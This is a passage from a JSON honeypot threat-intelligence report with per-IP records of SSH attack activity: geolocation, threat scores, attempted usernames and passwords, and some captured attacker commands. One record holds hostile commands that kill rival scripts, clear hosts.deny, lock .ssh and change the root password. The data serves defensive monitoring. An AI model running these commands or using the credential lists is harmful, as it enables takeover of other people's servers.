      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T15:52:05.463000+00:00",
        "last_seen_30d": "2026-05-21T15:53:33.643000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.139.162.4": {
      "attack_count": 2,
      "first_seen": "2026-05-17T09:29:32.320Z",
      "last_seen": "2026-05-17T09:29:44.980Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Ituzaingo",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T09:29:32.320000+00:00",
        "last_seen_30d": "2026-05-17T09:30:52.476000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.249.9.106": {
      "attack_count": 2,
      "first_seen": "2026-05-05T23:56:52.582Z",
      "last_seen": "2026-05-05T23:57:05.531Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Monclova",
      "asn": 32098,
      "as_org": "Transtelco Inc",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T23:56:52.582000+00:00",
        "last_seen_30d": "2026-05-05T23:58:08.656000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.241.25.73": {
      "attack_count": 2,
      "first_seen": "2026-05-08T12:51:09.325Z",
      "last_seen": "2026-05-08T12:51:23.098Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Kielce",
      "asn": 202805,
      "as_org": "I-TEL Pawel Bak",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:51:09.325000+00:00",
        "last_seen_30d": "2026-05-08T12:52:31.262000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.219.100.31": {
      "attack_count": 2,
      "first_seen": "2026-05-08T01:54:02.522Z",
      "last_seen": "2026-05-08T01:54:14.658Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:54:02.522000+00:00",
        "last_seen_30d": "2026-05-08T01:55:21.890000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "191.115.37.110": {
      "attack_count": 2,
      "first_seen": "2026-05-10T01:35:56.302Z",
      "last_seen": "2026-05-10T01:36:09.528Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Penco",
      "asn": 7418,
      "as_org": "TELEFONICA CHILE S.A.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T01:35:56.302000+00:00",
        "last_seen_30d": "2026-05-10T01:37:16.601000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.188.176.225": {
      "attack_count": 2,
      "first_seen": "2026-05-10T10:05:14.772Z",
      "last_seen": "2026-05-10T10:05:28.036Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T10:05:14.772000+00:00",
        "last_seen_30d": "2026-05-10T10:06:37.259000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.238.0.56": {
      "attack_count": 2,
      "first_seen": "2026-05-19T16:44:30.521Z",
      "last_seen": "2026-05-19T16:44:43.365Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T16:44:30.521000+00:00",
        "last_seen_30d": "2026-05-19T16:45:48.359000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.134.94.69": {
      "attack_count": 2,
      "first_seen": "2026-05-07T08:34:39.965Z",
      "last_seen": "2026-05-07T08:35:10.577Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Yuanlin",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T08:34:39.965000+00:00",
        "last_seen_30d": "2026-05-07T08:36:18.996000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "34.62.33.11": {
      "attack_count": 2,
      "first_seen": "2026-05-19T08:56:29.351Z",
      "last_seen": "2026-05-19T08:56:29.609Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:56:29.351000+00:00",
        "last_seen_30d": "2026-05-19T08:57:36.198000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "38.196.179.105": {
      "attack_count": 2,
      "first_seen": "2026-05-04T11:09:02.175Z",
      "last_seen": "2026-05-04T11:09:15.341Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Oca\u00f1a",
      "asn": 273238,
      "as_org": "CABLE EXITO S.A.S.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T11:09:02.175000+00:00",
        "last_seen_30d": "2026-05-04T11:10:24.760000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.163.154.243": {
      "attack_count": 2,
      "first_seen": "2026-05-05T13:42:39.653Z",
      "last_seen": "2026-05-05T13:42:52.717Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campo Largo",
      "asn": 263569,
      "as_org": "DIRECT INTERNET LTDA",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T13:42:39.653000+00:00",
        "last_seen_30d": "2026-05-05T13:43:55.233000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.236.202.83": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:12:05.285Z",
      "last_seen": "2026-05-23T02:12:36.071Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:12:05.285000+00:00",
        "last_seen_30d": "2026-05-23T02:13:41.683000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "51.223.86.106": {
      "attack_count": 2,
      "first_seen": "2026-05-13T18:45:43.827Z",
      "last_seen": "2026-05-13T18:47:43.830Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Dammam",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T18:45:43.827000+00:00",
        "last_seen_30d": "2026-05-13T18:58:26.835000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.62.162.175": {
      "attack_count": 2,
      "first_seen": "2026-05-04T21:14:01.346Z",
      "last_seen": "2026-05-04T21:14:13.981Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T21:14:01.346000+00:00",
        "last_seen_30d": "2026-05-04T21:15:16.218000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "68.174.249.131": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:02:53.186Z",
      "last_seen": "2026-05-22T23:03:25.130Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Queens",
      "asn": 12271,
      "as_org": "Charter Communications Inc",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:02:53.186000+00:00",
        "last_seen_30d": "2026-05-22T23:04:26.590000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "72.255.18.229": {
      "attack_count": 2,
      "first_seen": "2026-05-16T04:42:20.199Z",
      "last_seen": "2026-05-16T04:42:32.640Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T04:42:20.199000+00:00",
        "last_seen_30d": "2026-05-16T04:43:37.721000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "79.9.127.243": {
      "attack_count": 2,
      "first_seen": "2026-05-20T06:02:59.239Z",
      "last_seen": "2026-05-20T06:03:12.121Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T06:02:59.239000+00:00",
        "last_seen_30d": "2026-05-20T06:04:12.574000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "87.117.56.95": {
      "attack_count": 2,
      "first_seen": "2026-05-19T23:42:39.589Z",
      "last_seen": "2026-05-19T23:42:52.890Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Rostov-on-Don",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:42:39.589000+00:00",
        "last_seen_30d": "2026-05-19T23:44:02.534000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "92.53.59.65": {
      "attack_count": 2,
      "first_seen": "2026-05-16T20:46:22.257Z",
      "last_seen": "2026-05-16T20:46:36.509Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Ko\u010dani",
      "asn": 43612,
      "as_org": "Company for communications services A1 Makedonija DOOEL Skopje",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:46:22.257000+00:00",
        "last_seen_30d": "2026-05-16T20:47:38.581000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "95.219.235.152": {
      "attack_count": 2,
      "first_seen": "2026-05-13T12:59:28.531Z",
      "last_seen": "2026-05-13T12:59:41.835Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Medina",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T12:59:28.531000+00:00",
        "last_seen_30d": "2026-05-13T13:00:51.953000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.87.216": {
      "attack_count": 4011,
      "first_seen": "2026-05-31T04:27:10.148Z",
      "last_seen": "2026-05-31T05:44:38.069Z",
      "sessions": 800,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "deploy",
        "ubuntu",
        "user",
        "pi",
        "test",
        "claude",
        "dev",
        "debian",
        "deployer",
        "openclaw",
        "sam",
        "guest",
        "minecraft",
        "postgres",
        "frappe",
        "runner",
        "server",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "1",
        "root",
        "12345678",
        "password",
        "12345",
        "123456789",
        "abc123",
        "toor",
        "111111",
        "qwerty",
        "123321",
        "1qaz@WSX",
        "test",
        "user",
        "1234567890",
        "Aa123456",
        "dev"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5632,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T04:27:05.140000+00:00",
        "last_seen_30d": "2026-05-31T05:45:45.851000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4011,
        "Suricata": 1621
      }
    },
    "193.32.162.145": {
      "attack_count": 1971,
      "first_seen": "2026-05-02T19:14:43.866Z",
      "last_seen": "2026-05-21T17:10:59.019Z",
      "sessions": 393,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "sol",
        "solana",
        "root",
        "solv",
        "jito",
        "node",
        "validator",
        "bot",
        "brain",
        "degen",
        "doge",
        "geyser",
        "postgres",
        "raydium",
        "shredstream",
        "sollet",
        "trader",
        "trading"
      ],
      "passwords_attempted": [
        "solana",
        "raydium",
        "sollet",
        "jito",
        "123solana",
        "bot",
        "geyser",
        "moonbeam",
        "shredrum",
        "shredstream",
        "test",
        "anza",
        "1234",
        "123456",
        "12345678",
        "123sol",
        "Solana",
        "brain",
        "degen",
        "doge"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 39.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 2914,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:08:29.191000+00:00",
        "last_seen_30d": "2026-05-21T17:12:07.478000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1971,
        "Suricata": 943
      }
    },
    "68.220.171.40": {
      "attack_count": 660,
      "first_seen": "2026-05-20T21:51:33.587Z",
      "last_seen": "2026-05-31T01:09:32.035Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cockroach",
        "roman",
        "viktor",
        "xian",
        "debian",
        "deployer",
        "ganesh",
        "guangzhou",
        "jenny",
        "kaifa",
        "ma",
        "naver",
        "nishant",
        "pritunl",
        "qiantai",
        "spark",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678a@",
        "1Digital",
        "2000",
        "Aptx4869",
        "Dd112211",
        "December2024",
        "P@s$w0rd",
        "P@ssw0rd.1",
        "Pa$$w0rd",
        "Qwerty1!",
        "Sw.123456",
        "admin",
        "asdfghjkl",
        "cockroach",
        "jenny",
        "jio",
        "lanzhou"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nfCP3X0EFLNrz\\nfCP3X0EFLNrz\\n\"|passwd",
        "echo \"cockroach\\n4oLOwssn3rRJ\\n4oLOwssn3rRJ\\n\"|passwd",
        "echo \"root:Hdrj1WmMK8Bw\"|chpasswd|bash",
        "echo \"root:ZWfaa8hgnT1b\"|chpasswd|bash",
        "echo \"root:s1xobcoL1uNz\"|chpasswd|bash",
        "echo \"viktor\\n7xzR4YflM0Et\\n7xzR4YflM0Et\\n\"|passwd",
        "echo \"xian\\ns6D8MzQSdTEA\\ns6D8MzQSdTEA\\n\"|passwd",
        "echo -e \"123456\\nfCP3X0EFLNrz\\nfCP3X0EFLNrz\"|passwd|bash",
        "echo -e \"cockroach\\n4oLOwssn3rRJ\\n4oLOwssn3rRJ\"|passwd|bash",
        "echo -e \"viktor\\n7xzR4YflM0Et\\n7xzR4YflM0Et\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 50.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.9,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 770,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T21:51:33.587000+00:00",
        "last_seen_30d": "2026-05-31T01:10:38.570000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 660,
        "Suricata": 110
      }
    },
    "117.252.242.253": {
      "attack_count": 656,
      "first_seen": "2026-05-19T21:18:25.993Z",
      "last_seen": "2026-05-31T02:07:18.931Z",
      "sessions": 328,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.9,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 985,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:18:25.993000+00:00",
        "last_seen_30d": "2026-05-31T02:08:27.331000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 656,
        "Suricata": 329
      }
    },
    "124.18.182.99": {
      "attack_count": 595,
      "first_seen": "2026-05-07T06:38:44.921Z",
      "last_seen": "2026-05-16T21:01:38.053Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
